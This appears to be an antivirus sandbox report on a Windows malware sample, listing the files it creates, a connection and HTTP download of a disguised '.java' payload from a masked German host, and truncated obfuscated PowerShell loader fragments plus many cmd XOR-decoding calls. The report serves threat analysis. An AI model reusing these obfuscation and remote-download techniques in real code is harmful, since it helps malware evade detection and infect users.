Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\kohave.imm
Network activity
Connects to
- 'b2####hnmobile.de':80
TCP
HTTP GET requests
- http://b2####hnmobile.de/elias/Collotypic.java
UDP
- DNS ASK b2####hnmobile.de
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Uforstlige=38021-18021;Function Spidshamres9 ([String]$Solicitor){$Nathalia=5;For($Dataoverfrsels=4; $Dataoverfrsels -lt $Solicitor.Length-1; $Dataoverfrsels+=$Nathalia){$Bauno = 'su'+'bstrin...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Uforstlige=38021-18021;Function Spidshamres9 ([String]$Solicitor){$Nathalia=5;For($Dataoverfrsels=4; $Dataoverfrsels -lt $Solicitor.Length-1; $Dataoverfrsels+=$Nathalia){$Bauno = 'su'+'bstrin...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 54^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 81^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 101^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 74^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 114^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 106^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 55^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 108^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 69^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 86^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 113^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 77^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 116^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 67^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 84^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 83^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 98^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 107^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 87^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 125^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 119^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 112^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 97^^4"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function morphic02([String]$Suburbican) { $Daubreite = [System.Byte[]]::CreateInstance([System.Byte],$Suburbican.Length / 2) $Sharpshoot = (cmd /c 'echo 16') For($Hul=0; $Hul -lt $Suburbic...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 105^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 96^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 104^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 73^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 109^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 103^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 118^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 42^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 76^^4"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 99^^4"
